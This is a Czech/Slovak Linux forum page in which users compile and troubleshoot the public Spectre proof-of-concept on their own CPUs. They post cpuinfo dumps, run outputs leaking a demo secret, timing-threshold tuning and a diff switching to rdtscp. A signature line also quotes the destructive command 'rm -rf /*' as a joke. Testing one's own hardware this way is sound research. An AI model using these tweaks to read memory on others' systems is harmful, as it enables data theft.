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dnes 13:11 | IT novinky

Byl aktualizován seznam 500 nejvýkonnějších superpočítačů na světě TOP500. Dle očekávání se nejvýkonnějším superpočítačem stal superpočítač Summit. Český superpočítač Salomon klesl na 139. místo. Další přehledy a statistiky na stránkách projektu.

Ladislav Hagara | Komentářů: 0
dnes 09:00 | Nová verze

Po téměř 13 měsících vývoje od vydání verze 5.26 byla vydána nová stabilní verze 5.28 programovacího jazyka Perl. Do vývoje se zapojilo 77 vývojářů. Změněno bylo přibližně 730 tisíc řádků v 2 200 souborech. Přehled novinek a změn v podrobném seznamu.

Ladislav Hagara | Komentářů: 5
dnes 05:55 | Komunita

Při prvním spuštění Ubuntu 18.04 LTS (Bionic Beaver) je spuštěn nástroj Ubuntu Report. Pokud uživatel souhlasí, jsou pomocí tohoto nástroje odeslány do Canonicalu informace o daném počítači (doba instalace, počet procesorů, rozlišení displeje, velikost paměti, časová zóna, ...). Will Cooke, vedoucí týmu Ubuntu Desktop, zveřejnil na blogu Canonicalu první získané statistiky. Infografika na It's FOSS.

Ladislav Hagara | Komentářů: 0
včera 09:55 | Nová verze

Byl vydán Debian 8.11, tj. jedenáctá a současně poslední opravná verze Debianu 8 s kódovým názvem Jessie. Uživatelům je doporučen přechod na Debian 9 Stretch nebo využít LTS (Debian Long Term Support). LTS podpora Debianu 8 je plánována do 30. června 2020. LTS podpora Debianu 7 Wheezy skončila 31. května 2018.

Ladislav Hagara | Komentářů: 0
včera 09:11 | IT novinky

Hodnota Bitcoinu, decentralizované kryptoměny, klesla pod 6 000 dolarů. Před půl rokem byla hodnota Bitcoinu téměř 20 000 dolarů.

Ladislav Hagara | Komentářů: 33
23.6. 12:33 | Zajímavý projekt

Kernel.org představil lore.kernel.org, tj. archiv diskusního listu vývojářů linuxového jádra LKML (Linux Kernel Mailing List) s řadou zajímavých funkcí. Archiv běží na softwaru Public Inbox.

Ladislav Hagara | Komentářů: 0
23.6. 10:55 | Nová verze

Po devíti měsících vývoje od vydání verze 10.0 byla vydána verze 11.0 open source alternativy GitHubu, tj. softwarového nástroje s webovým rozhraním umožňujícího spolupráci na zdrojových kódech, GitLab (Wikipedie). Představení nových vlastností v příspěvku na blogu a na YouTube.

Ladislav Hagara | Komentářů: 2
22.6. 20:44 | Nová verze

Po více než 3 měsících vývoje od vydání verze 238 oznámil Lennart Poettering vydání verze 239 správce systému a služeb systemd (GitHub, NEWS).

Ladislav Hagara | Komentářů: 62
22.6. 15:00 | Nová verze

Bylo oznámeno vydání nové stabilní verze 1.28 a beta verze 1.29 open source textového editoru Atom (Wikipedie). Přehled novinek i s náhledy v příspěvku na blogu. Podrobnosti v poznámkách k vydání. Atom 1.28 je postaven na Electronu 2.0.

Ladislav Hagara | Komentářů: 3
22.6. 14:00 | Nová verze

Byla vydána nová verze 2.3.0 multiplatformního svobodného frameworku pro zpracování obrazu G'MIC (GREYC's Magic for Image Computing, Wikipedie). Přehled novinek i s náhledy na PIXLS.US.

Ladislav Hagara | Komentářů: 0
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Celkem 259 hlasů
 Komentářů: 39, poslední 21.6. 17:44
    Rozcestník
    Štítky: není přiřazen žádný štítek


    Vložit další komentář
    4.1. 18:52 R
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Na P4 to nefunguje - vracia same 0xFF.

    Pre P3 to nejde skompilovat (error: inlining failed in call to always_inline ‘_mm_clflush’: target specific option mismatch)

    Na Core2 Xeonoch mi to tiez nejako nejde.
    4.1. 19:40 sk7
    Rozbalit Rozbalit vše Re: Spectre na AMD
    skus tu:
    https://repl.it/repls/DeliriousGreenOxpecker
    a pouzi zdrojak pripadne treba skusat menit hodnotu v:
    #define CACHE_HIT_THRESHOLD 300
    hore bolo 80 skus 100 alebo 300
    4.1. 22:37 R
    Rozbalit Rozbalit vše Re: Spectre na AMD
    rdtscp sposobi illegal instruction. threshold sa mi nepodarilo nastavit tak, aby to fungovalo. Maximalne par znakov to obcas uhadne na Xeone X5355.
    4.1. 23:15 R
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Konecne som to rozchodil - nasiel som dostatocne novy procesor. Na Xeone E5-2620 to funguje s rdtscp a thresholdom 80.
    5.1. 03:27 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Jo taky jsem si všiml na core2 není rdtscp podporovanej (musí být flag v /proc/cpuinfo).
    5.1. 16:39 PavelM
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Core2Duo E8600 se mi nepodařilo ani částečně ke spolupráci přesvědčit, vrací samé e bez ohledu na hodnotu thresholdu a druhý zdroják nejde kvůli výše zmíněné rdtscp použít.
    4.1. 21:05 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    na Core2 Duo T9300
    nikdo@ubuntu-notebook:~$ cat /proc/cpuinfo
    processor       : 0
    vendor_id       : GenuineIntel
    cpu family      : 6
    model           : 23
    model name      : Intel(R) Core(TM)2 Duo CPU     T9300  @ 2.50GHz
    stepping        : 6
    microcode       : 0x60f
    cpu MHz         : 800.000
    cache size      : 6144 KB
    physical id     : 0
    siblings        : 2
    core id         : 0
    cpu cores       : 2
    apicid          : 0
    initial apicid  : 0
    fpu             : yes
    fpu_exception   : yes
    cpuid level     : 10
    wp              : yes
    flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm tpr_shadow vnmi flexpriority dtherm ida
    bugs            :
    bogomips        : 4987.40
    clflush size    : 64
    cache_alignment : 64
    address sizes   : 36 bits physical, 48 bits virtual
    power management:
    
    processor       : 1
    vendor_id       : GenuineIntel
    cpu family      : 6
    model           : 23
    model name      : Intel(R) Core(TM)2 Duo CPU     T9300  @ 2.50GHz
    ..
    
    gcc  -std=c99 -O0 spectre.c -o spectre
    
    nikdo@ubuntu-notebook:~$ ./spectre
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2
    Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2
    Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
    Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=1
    Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2
    Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2
    Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2
    Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
    Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
    Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2
    Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=4 (second best: 0x04 score=1)
    Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2
    Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2 (second best: 0x05 score=1)
    Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=1
    Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=1
    Reading at malicious_x = 0xffffffffffdfee09... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=1
    Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=1
    Reading at malicious_x = 0xffffffffffdfee0c... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee0d... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x03=’▒’ score=1
    Reading at malicious_x = 0xffffffffffdfee0f... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=1
    Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=1
    Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=1
    Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee14... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee15... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee16... Success: 0x02=’▒’ score=1
    Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2
    Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=1
    Reading at malicious_x = 0xffffffffffdfee19... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee1a... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee1b... Unclear: 0x72=’r’ score=1 (second best: 0x04 score=1)
    Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
    Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=1
    Reading at malicious_x = 0xffffffffffdfee1e... Success: 0xFF=’▒’ score=0
    Reading at malicious_x = 0xffffffffffdfee1f... Success: 0xFF=’▒’ score=0
    
    Ubuntu 17:04
    
    4.1. 21:23 majales | skóre: 23 | blog: Majales
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Nemáte někdo verzi pro ARM? Že bych to vyzkoušel i na raspberry..
    4.1. 23:09 KS | skóre: 10 | blog: blg | Horní polní u západní dolní
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Raspberry Pi 3 používá jádro Cortex-A53, takže podle ARMu není postižen: https://developer.arm.com/support/security-update
    Pochybnost, nejistota - základ poznání
    5.1. 02:58 pc2005 | skóre: 36 | blog: GardenOfEdenConfiguration | liberec
    Rozbalit Rozbalit vše Re: Spectre na AMD
    4.1. 21:23 Johanka | Praha
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Zajímavé:
    johanka@johanbook ~/tmp/tmp $ cat /proc/cpuinfo 
    processor       : 0
    vendor_id       : GenuineIntel
    cpu family      : 6
    model           : 142
    model name      : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
    stepping        : 9
    microcode       : 0x4e
    cpu MHz         : 2900.000
    cache size      : 4096 KB
    physical id     : 0
    siblings        : 4
    core id         : 0
    cpu cores       : 2
    apicid          : 0
    initial apicid  : 0
    fpu             : yes
    fpu_exception   : yes
    cpuid level     : 22
    wp              : yes
    flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
    bugs            :
    bogomips        : 5808.00
    clflush size    : 64
    cache_alignment : 64
    address sizes   : 39 bits physical, 48 bits virtual
    power management:
    
    processor       : 1
    vendor_id       : GenuineIntel
    cpu family      : 6
    model           : 142
    model name      : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
    ... atd
    
    johanka@johanbook ~/tmp/tmp $ 
    johanka@johanbook ~/tmp/tmp $ gcc -march=native -O2 -pipe spectre.c -o spectre
    spectre.c: In function ‘main’:
    spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
           (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                       ^
    spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
         printf("0x%02X=’%c’ score=%d ", value[0],
                            ^
    johanka@johanbook ~/tmp/tmp $ ./spectre 
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfec50... Unclear: 0xBC=’4’ score=999 (second best: 0x2E score=999)
    Reading at malicious_x = 0xffffffffffdfec51... Unclear: 0x8D=’4’ score=999 (second best: 0x1E score=999)
    Reading at malicious_x = 0xffffffffffdfec52... Unclear: 0xF4=’4’ score=999 (second best: 0xE4 score=999)
    Reading at malicious_x = 0xffffffffffdfec53... Unclear: 0xF6=’4’ score=999 (second best: 0xE2 score=999)
    Reading at malicious_x = 0xffffffffffdfec54... Unclear: 0xE4=’4’ score=999 (second best: 0xB1 score=999)
    Reading at malicious_x = 0xffffffffffdfec55... Unclear: 0xF2=’4’ score=999 (second best: 0xEE score=999)
    Reading at malicious_x = 0xffffffffffdfec56... Unclear: 0xF1=’4’ score=999 (second best: 0xD5 score=999)
    Reading at malicious_x = 0xffffffffffdfec57... Unclear: 0xFC=’4’ score=999 (second best: 0xB1 score=999)
    Reading at malicious_x = 0xffffffffffdfec58... Unclear: 0xBC=’4’ score=999 (second best: 0xB9 score=999)
    Reading at malicious_x = 0xffffffffffdfec59... Unclear: 0xE9=’4’ score=999 (second best: 0xB3 score=999)
    Reading at malicious_x = 0xffffffffffdfec5a... Unclear: 0xFA=’4’ score=999 (second best: 0xE8 score=999)
    Reading at malicious_x = 0xffffffffffdfec5b... Unclear: 0xEE=’4’ score=999 (second best: 0xCC score=999)
    Reading at malicious_x = 0xffffffffffdfec5c... Unclear: 0xFC=’4’ score=999 (second best: 0xEE score=999)
    Reading at malicious_x = 0xffffffffffdfec5d... Unclear: 0xF3=’4’ score=999 (second best: 0xEF score=999)
    Reading at malicious_x = 0xffffffffffdfec5e... Unclear: 0xFF=’4’ score=999 (second best: 0xF1 score=999)
    Reading at malicious_x = 0xffffffffffdfec5f... Unclear: 0xE2=’4’ score=999 (second best: 0xDC score=999)
    Reading at malicious_x = 0xffffffffffdfec60... Unclear: 0xE4=’4’ score=999 (second best: 0xDA score=999)
    Reading at malicious_x = 0xffffffffffdfec61... Unclear: 0x7A=’z’ score=999 (second best: 0x1E score=999)
    Reading at malicious_x = 0xffffffffffdfec62... Unclear: 0xFA=’4’ score=999 (second best: 0xE7 score=999)
    Reading at malicious_x = 0xffffffffffdfec63... Unclear: 0xFE=’4’ score=999 (second best: 0xD6 score=999)
    Reading at malicious_x = 0xffffffffffdfec64... Unclear: 0xFD=’4’ score=997 (second best: 0xE7 score=997)
    Reading at malicious_x = 0xffffffffffdfec65... Unclear: 0xCD=’4’ score=999 (second best: 0x50 score=999)
    Reading at malicious_x = 0xffffffffffdfec66... Unclear: 0xE3=’4’ score=999 (second best: 0xAF score=999)
    Reading at malicious_x = 0xffffffffffdfec67... Unclear: 0xE2=’4’ score=999 (second best: 0x96 score=999)
    Reading at malicious_x = 0xffffffffffdfec68... Unclear: 0xFF=’4’ score=999 (second best: 0xE4 score=999)
    Reading at malicious_x = 0xffffffffffdfec69... Unclear: 0xE6=’4’ score=999 (second best: 0xDB score=999)
    Reading at malicious_x = 0xffffffffffdfec6a... Unclear: 0xE7=’4’ score=999 (second best: 0xA6 score=999)
    Reading at malicious_x = 0xffffffffffdfec6b... Unclear: 0xEF=’4’ score=999 (second best: 0x7C score=999)
    Reading at malicious_x = 0xffffffffffdfec6c... Unclear: 0xD8=’4’ score=999 (second best: 0xCE score=999)
    Reading at malicious_x = 0xffffffffffdfec6d... Unclear: 0xEB=’4’ score=999 (second best: 0x54 score=999)
    Reading at malicious_x = 0xffffffffffdfec6e... Unclear: 0xF6=’4’ score=999 (second best: 0xF2 score=999)
    Reading at malicious_x = 0xffffffffffdfec6f... Unclear: 0xFA=’4’ score=999 (second best: 0xE9 score=999)
    Reading at malicious_x = 0xffffffffffdfec70... Unclear: 0xD7=’4’ score=999 (second best: 0x46 score=999)
    Reading at malicious_x = 0xffffffffffdfec71... Unclear: 0xE0=’4’ score=999 (second best: 0xDE score=999)
    Reading at malicious_x = 0xffffffffffdfec72... Unclear: 0xE1=’4’ score=999 (second best: 0xBF score=999)
    Reading at malicious_x = 0xffffffffffdfec73... Unclear: 0xAF=’4’ score=999 (second best: 0xA7 score=999)
    Reading at malicious_x = 0xffffffffffdfec74... Unclear: 0xED=’4’ score=999 (second best: 0xBE score=999)
    Reading at malicious_x = 0xffffffffffdfec75... Unclear: 0xFE=’4’ score=999 (second best: 0xE2 score=999)
    Reading at malicious_x = 0xffffffffffdfec76... Unclear: 0xD9=’4’ score=999 (second best: 0xB8 score=999)
    Reading at malicious_x = 0xffffffffffdfec77... Unclear: 0xE9=’4’ score=999 (second best: 0x8F score=999)
    johanka@johanbook ~/tmp/tmp $
    johanka@johanbook ~/tmp/tmp $ uname -a
    Linux johanbook 4.14.8-gentoo-r1 #2 SMP PREEMPT Sun Dec 24 16:49:33 CET 2017 x86_64 Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz GenuineIntel GNU/Linux
    johanka@johanbook ~/tmp/tmp $ cat /etc/gentoo-release 
    Gentoo Base System release 2.4.1
    
    
    Dělám něco špatně?
    4.1. 21:33 Mrkva | skóre: 22 | blog: urandom
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Necpi tam to -O2. Chapu, zvyk je zvyk, ale optimalizace to podle me rozbijou :)
    Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
    4.1. 21:38 Johanka | Praha
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Tím to nebude:
    johanka@johanbook ~/tmp/tmp $ gcc -march=native -pipe spectre.c -o spectre
    spectre.c: In function ‘main’:
    spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
           (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                       ^
    spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
         printf("0x%02X=’%c’ score=%d ", value[0],
                            ^
    johanka@johanbook ~/tmp/tmp $ ./spectre 
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfed28... Unclear: 0xCF=’%’ score=999 (second best: 0x60 score=999)
    Reading at malicious_x = 0xffffffffffdfed29... Unclear: 0xFD=’%’ score=999 (second best: 0xEA score=999)
    Reading at malicious_x = 0xffffffffffdfed2a... Unclear: 0xFE=’%’ score=999 (second best: 0xCF score=999)
    Reading at malicious_x = 0xffffffffffdfed2b... Unclear: 0xF0=’%’ score=999 (second best: 0xEC score=999)
    Reading at malicious_x = 0xffffffffffdfed2c... Unclear: 0xFC=’%’ score=999 (second best: 0xE5 score=999)
    Reading at malicious_x = 0xffffffffffdfed2d... Unclear: 0xFE=’%’ score=999 (second best: 0xFB score=999)
    Reading at malicious_x = 0xffffffffffdfed2e... Unclear: 0xE8=’%’ score=999 (second best: 0xDA score=999)
    Reading at malicious_x = 0xffffffffffdfed2f... Unclear: 0xEB=’%’ score=999 (second best: 0xCB score=999)
    Reading at malicious_x = 0xffffffffffdfed30... Unclear: 0xF0=’%’ score=999 (second best: 0xE8 score=999)
    Reading at malicious_x = 0xffffffffffdfed31... Unclear: 0xC3=’%’ score=999 (second best: 0xC1 score=999)
    Reading at malicious_x = 0xffffffffffdfed32... Unclear: 0xF2=’%’ score=999 (second best: 0xC0 score=999)
    Reading at malicious_x = 0xffffffffffdfed33... Unclear: 0xF5=’%’ score=999 (second best: 0xF2 score=999)
    Reading at malicious_x = 0xffffffffffdfed34... Unclear: 0xDA=’%’ score=999 (second best: 0xC1 score=999)
    Reading at malicious_x = 0xffffffffffdfed35... Unclear: 0xF3=’%’ score=999 (second best: 0xBD score=999)
    Reading at malicious_x = 0xffffffffffdfed36... Unclear: 0xDC=’%’ score=999 (second best: 0xCF score=999)
    Reading at malicious_x = 0xffffffffffdfed37... Unclear: 0xE3=’%’ score=999 (second best: 0xE2 score=999)
    Reading at malicious_x = 0xffffffffffdfed38... Unclear: 0xDC=’%’ score=999 (second best: 0x98 score=999)
    Reading at malicious_x = 0xffffffffffdfed39... Unclear: 0xEF=’%’ score=999 (second best: 0xEB score=999)
    Reading at malicious_x = 0xffffffffffdfed3a... Unclear: 0xF9=’%’ score=999 (second best: 0xC7 score=999)
    Reading at malicious_x = 0xffffffffffdfed3b... Unclear: 0xFB=’%’ score=999 (second best: 0xF3 score=999)
    Reading at malicious_x = 0xffffffffffdfed3c... Unclear: 0xCE=’%’ score=999 (second best: 0xC6 score=999)
    Reading at malicious_x = 0xffffffffffdfed3d... Unclear: 0xF1=’%’ score=999 (second best: 0xC7 score=999)
    Reading at malicious_x = 0xffffffffffdfed3e... Unclear: 0xFC=’%’ score=999 (second best: 0xE1 score=999)
    Reading at malicious_x = 0xffffffffffdfed3f... Unclear: 0xD2=’%’ score=999 (second best: 0xBB score=999)
    Reading at malicious_x = 0xffffffffffdfed40... Unclear: 0xED=’%’ score=999 (second best: 0xE3 score=999)
    Reading at malicious_x = 0xffffffffffdfed41... Unclear: 0xE1=’%’ score=999 (second best: 0xD3 score=999)
    Reading at malicious_x = 0xffffffffffdfed42... Unclear: 0xEF=’%’ score=999 (second best: 0xE8 score=999)
    Reading at malicious_x = 0xffffffffffdfed43... Unclear: 0xF9=’%’ score=999 (second best: 0xDE score=999)
    Reading at malicious_x = 0xffffffffffdfed44... Unclear: 0xBE=’%’ score=999 (second best: 0xBA score=999)
    Reading at malicious_x = 0xffffffffffdfed45... Unclear: 0xB6=’%’ score=999 (second best: 0xB1 score=999)
    Reading at malicious_x = 0xffffffffffdfed46... Unclear: 0xE3=’%’ score=999 (second best: 0xD9 score=999)
    Reading at malicious_x = 0xffffffffffdfed47... Unclear: 0xF1=’%’ score=999 (second best: 0xE0 score=999)
    Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0xFD=’%’ score=999 (second best: 0xFA score=999)
    Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0xFD=’%’ score=999 (second best: 0xF8 score=999)
    Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0xC1=’%’ score=999 (second best: 0xAE score=999)
    Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0xD3=’%’ score=999 (second best: 0xBD score=999)
    Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0xD8=’%’ score=999 (second best: 0xBC score=999)
    Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0xE0=’%’ score=999 (second best: 0xAA score=999)
    Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0xBC=’%’ score=999 (second best: 0xB2 score=999)
    Reading at malicious_x = 0xffffffffffdfed4f... Unclear: 0xD7=’%’ score=999 (second best: 0xC6 score=999)
    johanka@johanbook ~/tmp/tmp $ rm spectre
    johanka@johanbook ~/tmp/tmp $ gcc spectre.c -o spectre                     
    spectre.c: In function ‘main’:
    spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
           (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                       ^
    spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
         printf("0x%02X=’%c’ score=%d ", value[0],
                            ^
    johanka@johanbook ~/tmp/tmp $ ./spectre 
    Reading 40 bytes:
    Reading at malicious_x = 0xffffffffffdfed28... Unclear: 0xEA=’%’ score=999 (second best: 0xD8 score=999)
    Reading at malicious_x = 0xffffffffffdfed29... Unclear: 0xF7=’%’ score=999 (second best: 0xD8 score=999)
    Reading at malicious_x = 0xffffffffffdfed2a... Unclear: 0xF3=’%’ score=999 (second best: 0xF0 score=999)
    Reading at malicious_x = 0xffffffffffdfed2b... Unclear: 0xED=’%’ score=999 (second best: 0xE7 score=999)
    Reading at malicious_x = 0xffffffffffdfed2c... Unclear: 0xEC=’%’ score=999 (second best: 0xE9 score=999)
    Reading at malicious_x = 0xffffffffffdfed2d... Unclear: 0xF4=’%’ score=999 (second best: 0xEF score=999)
    Reading at malicious_x = 0xffffffffffdfed2e... Unclear: 0xF5=’%’ score=999 (second best: 0xCD score=999)
    Reading at malicious_x = 0xffffffffffdfed2f... Unclear: 0xE7=’%’ score=999 (second best: 0xC3 score=999)
    Reading at malicious_x = 0xffffffffffdfed30... Unclear: 0xFF=’%’ score=999 (second best: 0xF6 score=999)
    Reading at malicious_x = 0xffffffffffdfed31... Unclear: 0xF2=’%’ score=999 (second best: 0xCD score=999)
    Reading at malicious_x = 0xffffffffffdfed32... Unclear: 0xF8=’%’ score=999 (second best: 0xF2 score=999)
    Reading at malicious_x = 0xffffffffffdfed33... Unclear: 0xA7=’%’ score=999 (second best: 0x8E score=999)
    Reading at malicious_x = 0xffffffffffdfed34... Unclear: 0xED=’%’ score=999 (second best: 0xDD score=999)
    Reading at malicious_x = 0xffffffffffdfed35... Unclear: 0xF1=’%’ score=999 (second best: 0xC2 score=999)
    Reading at malicious_x = 0xffffffffffdfed36... Unclear: 0xF6=’%’ score=999 (second best: 0xBA score=999)
    Reading at malicious_x = 0xffffffffffdfed37... Unclear: 0xB9=’%’ score=999 (second best: 0x38 score=999)
    Reading at malicious_x = 0xffffffffffdfed38... Unclear: 0xF8=’%’ score=999 (second best: 0xF2 score=999)
    Reading at malicious_x = 0xffffffffffdfed39... Unclear: 0xCC=’%’ score=999 (second best: 0x72 score=999)
    Reading at malicious_x = 0xffffffffffdfed3a... Unclear: 0xFD=’%’ score=999 (second best: 0xF3 score=999)
    Reading at malicious_x = 0xffffffffffdfed3b... Unclear: 0xF7=’%’ score=999 (second best: 0xD5 score=999)
    Reading at malicious_x = 0xffffffffffdfed3c... Unclear: 0xB8=’%’ score=998 (second best: 0x86 score=998)
    Reading at malicious_x = 0xffffffffffdfed3d... Unclear: 0xD7=’%’ score=999 (second best: 0xD6 score=999)
    Reading at malicious_x = 0xffffffffffdfed3e... Unclear: 0xDC=’%’ score=999 (second best: 0x9B score=999)
    Reading at malicious_x = 0xffffffffffdfed3f... Unclear: 0xB2=’%’ score=999 (second best: 0xA1 score=999)
    Reading at malicious_x = 0xffffffffffdfed40... Unclear: 0xEF=’%’ score=999 (second best: 0xCF score=999)
    Reading at malicious_x = 0xffffffffffdfed41... Unclear: 0xED=’%’ score=999 (second best: 0xE4 score=999)
    Reading at malicious_x = 0xffffffffffdfed42... Unclear: 0xA7=’%’ score=999 (second best: 0xA1 score=999)
    Reading at malicious_x = 0xffffffffffdfed43... Unclear: 0xC3=’%’ score=999 (second best: 0x97 score=999)
    Reading at malicious_x = 0xffffffffffdfed44... Unclear: 0xFD=’%’ score=999 (second best: 0xDE score=999)
    Reading at malicious_x = 0xffffffffffdfed45... Unclear: 0xF2=’%’ score=999 (second best: 0xB2 score=999)
    Reading at malicious_x = 0xffffffffffdfed46... Unclear: 0xFC=’%’ score=999 (second best: 0xF8 score=999)
    Reading at malicious_x = 0xffffffffffdfed47... Unclear: 0xE0=’%’ score=999 (second best: 0xBE score=999)
    Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0xF9=’%’ score=999 (second best: 0xF8 score=999)
    Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0xFC=’%’ score=999 (second best: 0xDE score=999)
    Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0xD9=’%’ score=999 (second best: 0xC2 score=999)
    Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0xFF=’%’ score=999 (second best: 0xF4 score=999)
    Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0xE7=’%’ score=999 (second best: 0xC4 score=999)
    Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0xA8=’%’ score=999 (second best: 0x82 score=999)
    Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0xF4=’%’ score=999 (second best: 0xC5 score=999)
    Reading at malicious_x = 0xffffffffffdfed4f... Unclear: 0xEF=’%’ score=999 (second best: 0xE5 score=999)
    
    4.1. 21:47 Mrkva | skóre: 22 | blog: urandom
    Rozbalit Rozbalit vše Re: Spectre na AMD
    A jeste:
    --- spectre.c	2018-01-04 21:43:38.504264913 +0100
    +++ spectre2.c	2018-01-04 21:45:23.654267506 +0100
    @@ -86,9 +86,9 @@
         for (i = 0; i < 256; i++) {
           mix_i = ((i * 167) + 13) & 255;
           addr = & array2[mix_i * 512];
    -      time1 = __rdtsc(); /* READ TIMER */
    +      time1 = __rdtscp( & junk); /* READ TIMER */
           junk = * addr; /* MEMORY ACCESS TO TIME */
    -      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
    +      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
           if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
             results[mix_i]++; /* cache hit - add +1 to score for this value */
         }
    
    Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
    4.1. 21:54 Johanka | Praha
    Rozbalit Rozbalit vše Re: Spectre na AMD
    Jo teď už to čte. Ale proč je tam všude pořád tak vysoké skóre?
    johanka@johanbook ~/tmp/tmp $ gcc spectre.c -o spectre
    spectre.c: In function ‘main’:
    spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
           (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                       ^
    spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
         printf("0x%02X=’%c’ score=%d ", value[0],
                            ^
    johanka@johanbook ~/tmp/tmp $ ./spectre 
